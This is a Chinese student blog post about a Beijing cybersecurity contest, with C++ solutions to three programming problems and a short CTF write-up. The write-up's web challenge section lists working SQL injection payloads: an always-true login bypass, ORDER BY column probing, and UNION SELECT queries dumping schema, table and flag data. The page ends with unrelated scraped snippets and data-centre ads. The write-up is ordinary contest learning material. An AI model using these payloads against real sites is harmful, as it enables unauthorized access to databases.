北京一日游(网安杯)

一开始说要去北京的时候,我是拒绝的。

为什么是拒绝的呢?去北京?太远了,不存在的,然而还是去了。

为什么去呢?据说这获奖了可以对自招有好处,而且还有钱发

比赛是封闭的,联网都不能上!(到时候搞一个不知道的加密不就GG)

比赛分为两部分,上午是ACM赛制的编程,下午是CTF。

都是两个小时,六道题!(最厉害的大佬GZZ随便就四道题)

整个上午下午,就看到大佬A题,太可怕了。。

上午的题目不是很难(对于信息组大佬来说,不是我),模拟,动归,线段树,floyd什么的。

第一道题签到题,就是统计下划线个数,直接水了、

 1 #include<cstdio>
 2 #include<cstring>
 3 #include<iostream>
 4 using namespace std;
 5 int stack[90]={0};
 6 int main()
 7 {
 8     int i,j,k,l,m,n,ans=0,len=0;
 9     scanf("%d",&m);
10     for(i=1;i<=m;i++)
11     {
12         char str[81];
13         scanf("%s",&str);
14         if(len<strlen(str))
15             len=strlen(str);
16         for(j=0;j<strlen(str);j++)
17             if(str[j]==‘_‘)
18                 stack[j]++;
19     }
20     for(i=0;i<len;i++)
21         ans=max(ans,stack[i]);
22     printf("%d",ans);
23     return 0;
24 } 

第二题,看起来挺简单,然而wa了,就是一些人,给一堆的(人a,人b),要求a>b,问问唯一确定的人成绩排名的有几个

我以为可以用拓扑,然而wa了,有大佬可以告诉我为什么吗》》》好伤心。。

wa了的代码:

#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<vector>
using namespace std;
int top1[4510],top2[4510],t,c[4510];
vector<int> G[4510];
bool up_topsort(int node)
{
    c[node]=-1;
    for(int i=0;i<G[node].size();i++)
    {
        if(c[G[node][i]]<0)
            return false;
        else if(!c[G[node][i]] && !up_topsort(G[node][i]))
            return false;
    }
    c[node]=1;
    top1[t--]=node;
    return true;
}
bool down_topsort(int node)
{
    c[node]=-1;
    for(int i=0;i<G[node].size();i++)
    {
        if(c[G[node][i]]<0)
            return false;
        else if(!c[G[node][i]] && !down_topsort(G[node][i]))
            return false;
    }
    c[node]=1;
    top2[t--]=node;
    return true;
}
bool down_ok(int m)
{
    t=m;
    memset(c,0,sizeof c);
    for(int i=1;i<=m;i++)
        if(!c[i])
            if(!down_topsort(i))
                return false;
    return true;
}
bool up_ok(int m)
{
    t=m;
    memset(c,0,sizeof c);
    for(int i=m;i>=1;i--)
        if(!c[i])
            if(!up_topsort(i))
                return false;
    return true;
}
int main()
{
    int i,j,k,l,m,n,ans=0;
    scanf("%d%d",&m,&n);
    for(i=1;i<=n;i++)
    {
        int a,b;
        scanf("%d%d",&a,&b);
        G[a].push_back(b);
    }
    up_ok(m);
    down_ok(m);
    for(i=1;i<=m;i++)
        if(top1[i]==top2[i])
            ans++;
    printf("%d",ans);
    return 0;
}

第三题,就是给一串数字,都是0~9,然后求把它改为单调递增或递减最少要改几个数字

#include<cstdio>
#include<cstdlib>
#include<iostream>
#define INF 1e9
using namespace std;
int A[100010],up[100010][10],down[100010][10];
void init(int m)
{
    for(int i=1;i<=m+1;i++)
        for(int j=0;j<=9;j++)
        {
            up[i][j]=INF;
            if(i==1)
                up[1][j]=1;
        }
    up[1][A[1]]=0;
    for(int i=1;i<=m+1;i++)
        for(int j=0;j<=9;j++)
        {
            down[i][j]=INF;
            if(i==1)
                down[1][j]=1;
        }
    down[1][A[1]]=0;
}
int main()
{
    int i,j,k,l,m,n,ans1=INF,ans2=INF;
    scanf("%d",&m);
    for(i=1;i<=m;i++)
        scanf("%d",&A[i]);
    init(m);
    for(i=2;i<=m;i++)
        for(j=0;j<=9;j++)
        {
            for(k=0;k<=j;k++)
            {
                if(j==A[i])
                    up[i][j]=min(up[i][j],up[i-1][k]);
                else
                    up[i][j]=min(up[i][j],up[i-1][k]+1);
            }
        }
    for(i=2;i<=m;i++)
        for(j=0;j<=9;j++)
        {
            for(k=j;k<=9;k++)
            {
                if(j==A[i])
                    down[i][j]=min(down[i][j],down[i-1][k]);
                else
                    down[i][j]=min(down[i][j],down[i-1][k]+1);
            }
        }
    for(j=0;j<=9;j++)
        ans1=min(ans1,up[m][j]);
    for(j=0;j<=9;j++)
        ans2=min(ans2,down[m][j]);
    printf("%d",min(ans1,ans2));
    return 0;
}

下午就是CTF了,只做出两道WEB1,RE1,某位大佬五道都随便。。。

RE1

首先先查下壳,发现是vc++的,没有壳。

然后直接扔到ida里看看。

可以发现在入口处,这个程序基本什么都没干。

就是用了一堆的mov指令。

很显然,这些东西就是flag。

最后写个脚本

a=[0x42,0x55,0x50,0x54,0x7B,0x59,0x30,0x75,0x5F,0x73,0x33,0x33,0x6E,0x5F,0x53,0x6F,0x6D,0x65,0x74,0x68,0x31,0x6E,0x67,0x5F,0x66,0x72,0x6F,0x6D,0x5F,0x6E,0x4f,0x74,0x68,0x69,0x6E,0x39,0x7D]

str=""

for i in a:

str=str+chr(i)

print(str)

Flag就直接出来了。

WEB1

直接就给了提示。

是个sql注入。

username=test‘ or ‘1‘=‘1&password=123

先看看是什么类型的,发现是字符型的。

让后试试有几列

username=test‘ order by 1 %23&password=123

username=test‘ order by 2 %23&password=123

username=test‘ order by 3 %23&password=123

发现在3以后就登不进去了。可以知道有三列。

Payload:username=‘ union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA %23&password=123

然后爆库名

爆表名:

Payload: username=‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘easy_sqli‘ %23&password=123

然后:

然后就直接查出来了。。。。。。

Payload:username=‘ union select 1,group_concat(flag),3 from easy_sqli.flag %23&password=123

FLAG: BUPT{[email protected]_sql_injection}

还是太水了,GZZ大佬太强了!!!!!

原文地址:https://www.cnblogs.com/ZarCs/p/8908423.html

时间: 2024-11-13 12:03:48

北京一日游(网安杯)的相关文章

3个场景,32个案例告诉你,你不得不学习《网安法》的理由

文章来源i春秋 网虫们,你造吗,网络暴力可能让一个人抑郁.崩溃甚至轻生!你造吗?擅用别人图片或转发传播视频是侵权行为!你造吗?-假如你是受害者,求助无门,那么,6月1日正式实施的<网安法>,会是你最坚强的后盾!合法权益被侵犯时,你可以拨打110或登陆网络违法犯罪举报网站http://www.cyberpolice.cn/wfjb/进行维权!而如果你是施害者,你将很快体会到:互联网不是法外之地,玩火者必将自焚! 接下来,小i将以真实的案例为依据构建三个场景,和大家一起分析,<网安法>

收到网安大队-网站信息系统安全等级保护限期整改通知书-如何整改网站安全问题

2018年6月12日我们接到一个网站新客户反映收到一封来自北京市公安局海淀分局网安的通知书,通知称:贵单位网站存在网络安全漏洞,网站被植入后门程序,要求你单位要在XX日之前进行整改,并要求提供整改方案.对于未按期整改的,将进行行政处罚,下面为截图: 内容如下: 北京市公安局海淀分局 信息系统安全等级保护限期整改通知书 京等保限字[2018]第06xxxx号 北京xxxxxxxxxxx 近日,我大队接通报,贵单位网站(域名:www.xxx.com)存在网络安全漏洞.(详见附件) 根据<×××计算机

北京微网聚力数据中心

北京微网聚力是北京一家大型互联网基础服务商,在北京从2环到6环都有我们的运营商机房及自建机房,在全国30个省都有合作的托管的机房,资质齐全.公司对客户提供了IDC托管.IDC租用.IDC定制.IDC运维.云主机.混合云.国内专线.国际专线.企业移动应用软件开发及行业解决方案.市场经理:罗惠 电话:一三七一八九零七九七八1北京各大机房供您选择: 1.数北机房 (朝阳区) 2.兆维机房 (朝阳区) 3. 上地机房(海淀区) 4. 东四机房 (东城区) 5. 昌平机房(北六环) 6.亦庄机房(大兴区)

2015年网络空间安全高端论坛暨第二届“世安杯”广东省大学生网络安全竞赛

<ignore_js_op> 远离了那个枪林弹雨的时代,却仍然嗅到字里行间的硝烟. 9月3日,抗战70周年纪念日.驻足在五星红旗下,我思考着,我们需要做的,不仅是纪念一场战争的结束,更应该注意到,另一场战争已悄然开始. 一句程序,可以打开网站,也可以注入SQL:一台电脑,可以看电影,也可以DDOS攻击:一群码农,可以写游戏,也可以使整个网络瘫痪.当我们调侃程序猿.攻城狮时,殊不知,在保卫着我们国家最脆弱的第五空间——网络空间的安全,也正是我们的攻城狮. 我们诚邀你参与这次活动.与来自各大高校.

践行网安,普惠河南——景安网络重磅网安公益项目加速推进中

日前,郑州市景安网络科技股份有限公司(以下称"景安网络")联合河南省互联网协会,及河南云计算大数据产业联盟,全面启动"铸网安·御未来"网络安全专项公益项目,定于2017年8月-12月期间面向河南企事业单位免费发放1000套景安日志管理系统(Glog系统).该项目受到河南省通信管理局.郑州市公安局等相关部门的高度肯定,以及社会各界的大力支持.广泛关注和参与,至今已有900余家政企单位提交申请,近200家成功部署,目前正在加速推进当中. 据了解,系统日志是一种非常关键的

7月4日云栖精选夜读:从《网安法》出发_给企业安全管理者的五条建议

原文链接 6月1日,<网络安全法>正式实施以后,各个行业的网络安全有了基础要求,而监管部门的执法力度也依据法条要求呈加强趋势. 对网约车.P2P金融等行业来说,"网络安全等保要求"成为了开展业务的先决条件: 而对于踏在个人信息保护.内容安全.漏洞管理等"网络安全雷区"内的行业,例如大数据.直播平台.内容平台,有可能面临暂停业务活动.严重的违法行为将导致停业整顿或吊销执照,直接负责的主管人员和其他直接责任人员也有可能受到处罚. 热点热议 从<网安法&

从《网安法》出发_给企业安全管理者的五条建议

原文链接 6月1日,<网络安全法>正式实施以后,各个行业的网络安全有了基础要求,而监管部门的执法力度也依据法条要求呈加强趋势. 对网约车.P2P金融等行业来说,"网络安全等保要求"成为了开展业务的先决条件: 而对于踏在个人信息保护.内容安全.漏洞管理等"网络安全雷区"内的行业,例如大数据.直播平台.内容平台,有可能面临暂停业务活动.严重的违法行为将导致停业整顿或吊销执照,直接负责的主管人员和其他直接责任人员也有可能受到处罚. 近两月,大数据行业清洗,微信

CTF-i春秋网鼎杯第一场misc部分writeup

CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法,先看属性 什么也没. 再扔到winhexv里看看 头文件正常,确实是png,尝试搜索flag关键字也没有收获. 继续扔到kali里用binwalk分析一下 也没有发现异常的 会不会是高度隐写呢,直接在kali双击打开png图片,发现可以正常打开(注:被修改过高度的图片无法在kali中直接打开,会显示

北京微网聚力昌平数据中心 服务器托管

北京微网聚力昌平机房T3+机房,以下是相关机房资料介绍,可提供47U~60U标准机柜,BGP6线核心带宽,双万M物理光纤接口,且容错配置,且24小时实时监控,年网络可用率≥ 99.99%:月电源系统可用度≥ 99.99%,故机房及带宽品质都非常不错,对于机房的基础建设我们很重视,IDC售后服务我们同样重视,优势比较明显.昌平机房最近针对新客户做了一个优惠活动,送10M独享BGP带宽. 机房地址:昌平一期机房:北京市昌平区超前路甲一号北控宏创科技园9号楼1.2两层:昌平二期机房:北京市昌平区南邵镇